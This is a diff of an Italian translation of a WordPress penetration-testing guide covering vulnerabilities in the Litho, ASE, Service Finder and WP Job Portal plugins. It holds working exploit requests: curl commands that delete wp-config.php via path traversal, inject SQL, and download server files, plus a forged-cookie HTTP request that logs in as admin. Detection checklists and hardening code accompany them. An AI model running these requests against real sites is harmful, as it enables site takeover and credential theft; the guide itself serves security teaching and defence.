- Preferisci autenticazione first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
|
||||
- Non derivare mai autenticazione o autorizzazione da header controllati dal client.
|
||||
- Se un reverse proxy deve iniettare l'identità, termini la fiducia al proxy e rimuova le copie in ingresso (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), poi trasmetta un token firmato e verificatelo lato server.
|
||||
- Per le route REST che eseguono azioni privilegiate, richiedi controlli `current_user_can()` e un `permission_callback` rigoroso (NON usare `__return_true`).
|
||||
- Preferisci auth first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
|
||||
|
||||
Riferimenti: vedi i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Eliminazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
I temi e i plugin WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene usata la variante **_nopriv_** **il callback diventa raggiungibile da visitatori non autenticati**, quindi ogni azione sensibile deve implementare inoltre:
|
||||
I temi e i plugin di WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** è usata **la callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve inoltre implementare:
|
||||
|
||||
1. Un **controllo delle capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
|
||||
2. Un **nonce CSRF** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
|
||||
3. **Sanitizzazione/validazione rigorosa dell'input**.
|
||||
1. Un **capability check** (e.g. `current_user_can()` o almeno `is_user_logged_in()`), e
|
||||
2. Un **CSRF nonce** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
|
||||
3. **Sanitizzazione/validazione stretta degli input**.
|
||||
|
||||
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il codice seguente (semplificato):
|
||||
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella feature *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -446,25 +446,25 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
Problemi introdotti da questo snippet:
|
||||
|
||||
* **Accesso non autenticato** – l'hook `wp_ajax_nopriv_` è registrato.
|
||||
* **Nessun controllo di nonce / capability** – qualsiasi visitatore può chiamare l'endpoint.
|
||||
* **Nessuna sanitizzazione del path** – la stringa `fontfamily` controllata dall'utente è concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`.
|
||||
* **Nessun controllo nonce / capability** – qualsiasi visitatore può hit the endpoint.
|
||||
* **Nessuna sanificazione del percorso** – la stringa controllata dall'utente `fontfamily` è concatenata a un percorso del filesystem senza filtraggio, consentendo il classico `../../` traversal.
|
||||
|
||||
#### Sfruttamento
|
||||
|
||||
Un attaccante può cancellare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
|
||||
An attacker può cancellare qualsiasi file o directory **sotto la directory base uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola HTTP POST request:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti su un'installazione di default. Eliminare `wp-config.php` forza WordPress nella *procedura guidata di installazione* alla visita successiva, consentendo la completa compromissione del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente amministratore).
|
||||
Poiché `wp-config.php` risiede al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione di default. Cancellando `wp-config.php` WordPress verrà forzato nella *procedura guidata di installazione* alla visita successiva, consentendo la completa acquisizione del sito (l'attaccante si limita a fornire una nuova configurazione DB e a creare un utente admin).
|
||||
|
||||
Altri target impattanti includono file plugin/theme `.php` (per compromettere plugin di sicurezza) o regole `.htaccess`.
|
||||
Altri bersagli ad alto impatto includono file `.php` di plugin/tema (per compromettere plugin di sicurezza) o regole `.htaccess`.
|
||||
|
||||
#### Checklist di rilevamento
|
||||
|
||||
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
|
||||
* Concatenazione di input utente non sanificato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Concatenazione di input utente non sanitizzato in percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Rafforzamento
|
||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Sempre** considera qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e ricontrolla:
|
||||
> **Sempre** considera qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e verifica due volte:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali in user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa solo su request parameters (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza controllare le capability e un nonce valido, questo diventa una vertical privilege escalation.
|
||||
Molti plugin implementano una funzionalità "view as role" o di temporaneo cambio ruolo salvando il ruolo originale (o i ruoli) nei user meta in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare capabilities e un nonce valido, questo diventa una vertical privilege escalation.
|
||||
|
||||
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati in user meta `_asenha_view_admin_as_original_roles`:
|
||||
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se lo username appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e ri-aggiungere i ruoli salvati nei user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -514,16 +514,16 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
Perché è sfruttabile
|
||||
|
||||
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
|
||||
- Se un utente aveva in precedenza privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli colpendo il percorso di reset.
|
||||
- In alcune implementazioni, qualsiasi authenticated user potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione non valida).
|
||||
- Se un utente in precedenza aveva privilegi elevati salvati in `_asenha_view_admin_as_original_roles` ed è stato declassato, può ripristinarli richiamando il reset path.
|
||||
- In alcune distribuzioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione difettosa).
|
||||
|
||||
Attack prerequisites
|
||||
Prerequisiti dell'attacco
|
||||
|
||||
- Vulnerable plugin version with the feature enabled.
|
||||
- Target account has a stale high-privilege role stored in user meta from earlier use.
|
||||
- Any authenticated session; missing nonce/capability on the reset flow.
|
||||
- Versione del plugin vulnerabile con la funzionalità abilitata.
|
||||
- L'account target ha un ruolo ad alta privilegio obsoleto memorizzato in user meta da un utilizzo precedente.
|
||||
- Qualsiasi sessione autenticata; mancanza di nonce/capability nel flusso di reset.
|
||||
|
||||
Exploitation (example)
|
||||
Sfruttamento (esempio)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -531,51 +531,100 @@ Exploitation (example)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (e.g., `administrator`), aumentando di fatto i privilegi.
|
||||
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (e.g., `administrator`), elevando efficacemente i privilegi.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Cerca funzionalità di cambio ruolo che persistono lo stato dei “ruoli originali” nei user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Individua i percorsi di reset/restore che:
|
||||
- Cerca funzionalità di role-switching che persistono le “original roles” nei user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Individua percorsi di reset/restore che:
|
||||
- Leggono nomi utente da `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modificano i ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizzano basandosi su un array di opzioni del plugin (e.g., `viewing_admin_as_role_are`) invece che sulle capacità dell’attore.
|
||||
- Modificano ruoli tramite `add_role()` / `remove_role()` senza `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizzano basandosi su un array di opzioni del plugin (e.g., `viewing_admin_as_role_are`) invece delle capacità dell'attore.
|
||||
|
||||
Mitigazioni
|
||||
Rafforzamento
|
||||
|
||||
- Applica controlli delle capability in ogni ramo che modifica lo stato (e.g., `current_user_can('manage_options')` o più restrittivo).
|
||||
- Richiedi nonces per tutte le modifiche di ruoli/permessi e verificale: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Non fidarti mai dei nomi utente provenienti dalla richiesta; determina l'utente target server-side basandoti sull’attore autenticato e su una policy esplicita.
|
||||
- Invalida lo stato dei “ruoli originali” sugli aggiornamenti di profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
|
||||
- Applica controlli sulle capability in ogni ramo che modifica lo stato (e.g., `current_user_can('manage_options')` o più restrittivo).
|
||||
- Richiedi nonce per tutte le mutazioni di ruoli/permessi e verificane la validità: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Non fidarti mai di nomi utente forniti nella request; risolvi l'utente di destinazione server-side basandoti sull'attore autenticato e su una policy esplicita.
|
||||
- Invalidare lo stato delle “original roles” sugli aggiornamenti di profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Considera di memorizzare lo stato minimo e di usare token limitati nel tempo e protetti da capability per cambi temporanei di ruolo.
|
||||
- Valuta di memorizzare uno stato minimo e di usare token a tempo limitato e protetti da capability per switch di ruolo temporanei.
|
||||
|
||||
---
|
||||
|
||||
### Considerazioni sul WAF per CVE di WordPress/plugin
|
||||
### Escalation di privilegi non autenticata tramite cookie‑trusted user switching su init pubblico (Service Finder “sf-booking”)
|
||||
|
||||
I WAF generici a livello edge/server sono tarati su pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logic/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
|
||||
Alcuni plugin collegano helper di user-switching all'hook pubblico `init` e ricavano l'identità da un cookie controllato dal client. Se il codice chiama `wp_set_auth_cookie()` senza verificare l'autenticazione, la capability e un nonce valido, qualsiasi visitatore non autenticato può forzare il login come un ID utente arbitrario.
|
||||
|
||||
Note offensive
|
||||
Pattern vulnerabile tipico (semplificato da Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||
service_finder_switch_user($user_id);
|
||||
}
|
||||
if ( isset($_GET['switch_back']) ) {
|
||||
service_finder_switch_back();
|
||||
}
|
||||
}
|
||||
add_action('init', 'service_finder_submit_user_form');
|
||||
|
||||
- Mirare a endpoint specifici del plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Testare prima i percorsi non autenticati (AJAX `nopriv`, REST con `permission_callback` permissivo, shortcodes pubblici). I payload di default spesso riescono senza offuscamento.
|
||||
- Casi tipici ad alto impatto: escalation di privilegi (controllo accessi rotto), upload/download arbitrario di file, LFI, open redirect.
|
||||
function service_finder_switch_back() {
|
||||
if ( isset($_COOKIE['original_user_id']) ) {
|
||||
$uid = intval($_COOKIE['original_user_id']);
|
||||
if ( get_userdata($uid) ) {
|
||||
wp_set_current_user($uid);
|
||||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||
setcookie('original_user_id', '', time() - 3600, '/');
|
||||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||
exit;
|
||||
}
|
||||
wp_die('Original user not found.');
|
||||
}
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Perché è sfruttabile
|
||||
|
||||
Note difensive
|
||||
- L'hook pubblico `init` rende l'handler raggiungibile da unauthenticated users (nessun controllo `is_user_logged_in()`).
|
||||
- L'identità è derivata da un cookie modificabile dal client (`original_user_id`).
|
||||
- La chiamata diretta a `wp_set_auth_cookie($uid)` autentica il richiedente come quell'utente senza alcun controllo capability/nonce.
|
||||
|
||||
- Non affidarsi alle signature WAF generiche per proteggere le CVE dei plugin. Implementare patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiornare rapidamente.
|
||||
- Preferire controlli di sicurezza a approccio positivo nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi.
|
||||
Exploitation (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
Cookie: original_user_id=1
|
||||
User-Agent: PoC
|
||||
Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### Considerazioni sul WAF per WordPress/plugin CVEs
|
||||
|
||||
I WAF edge/server generici sono tarati per pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità WordPress/plugin ad alto impatto sono bug di logica/autenticazione specifici dell'applicazione che appaiono come traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Mirare agli endpoint specifici dei plugin con payload puliti: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Testare prima i percorsi non autenticati (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes pubblici). I payload di default spesso hanno successo senza offuscamento.
|
||||
- Casi tipici ad alto impatto: privilege escalation (broken access control), upload/download arbitrario di file, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Non fare affidamento sulle firme generiche dei WAF per proteggere le CVE dei plugin. Implementa patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiorna rapidamente.
|
||||
- Preferisci controlli di tipo positive-security nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto ai filtri negativi basati su regex.
|
||||
|
||||
## Protezione WordPress
|
||||
|
||||
### Aggiornamenti regolari
|
||||
|
||||
Assicurarsi che WordPress, i plugin e i temi siano aggiornati. Confermare inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||||
Assicurati che WordPress, plugin e temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -583,24 +632,24 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Inoltre, **installa solo plugin e temi WordPress affidabili**.
|
||||
|
||||
### Security Plugins
|
||||
### Plugin di sicurezza
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Other Recommendations**
|
||||
### **Altre raccomandazioni**
|
||||
|
||||
- Rimuovi l'utente predefinito **admin**
|
||||
- Usa **password robuste** e **2FA**
|
||||
- Revisiona periodicamente i **permessi** degli **utenti**
|
||||
- Periodicamente **rivedi** i **permessi** degli utenti
|
||||
- **Limita i tentativi di login** per prevenire attacchi Brute Force
|
||||
- Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
|
||||
|
||||
|
||||
### Unauthenticated SQL Injection tramite validazione insufficiente (WP Job Portal <= 2.3.2)
|
||||
### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
|
||||
|
||||
Il plugin WP Job Portal per il reclutamento esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
|
||||
Il plugin di recruitment WP Job Portal esponeva un task **savecategory** che alla fine esegue il seguente codice vulnerabile in `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -612,17 +661,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```
|
||||
Problemi introdotti da questo snippet:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||||
2. **String concatenation inside the WHERE clause** – assenza di `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Input utente non sanitizzato** – `parentid` proviene direttamente dalla richiesta HTTP.
|
||||
2. **Concatenazione di stringhe nella clausola WHERE** – nessun `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Accessibilità non autenticata** – anche se l'azione è eseguita tramite `admin-post.php`, l'unico controllo presente è un **CSRF nonce** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploitation
|
||||
#### Sfruttamento
|
||||
|
||||
1. Recupera un nonce valido:
|
||||
1. Recuperare un nonce fresco:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Inietta SQL arbitrario sfruttando `parentid`:
|
||||
2. Iniettare SQL arbitrario abusando di `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -630,18 +679,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la presenza di SQLi.
|
||||
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Un altro task, **downloadcustomfile**, consentiva ai visitatori di scaricare **qualsiasi file su disco** tramite path traversal. Il sink vulnerabile si trova in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` è attacker-controlled e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è una **CSRF nonce** che può essere recuperata dalla pagina del curriculum.
|
||||
`$file_name` è controllato dall'attacker e concatenato **senza sanitizzazione**. Di nuovo, l'unica barriera è un **CSRF nonce** che può essere recuperato dalla pagina resume.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -663,5 +712,7 @@ Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials a
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user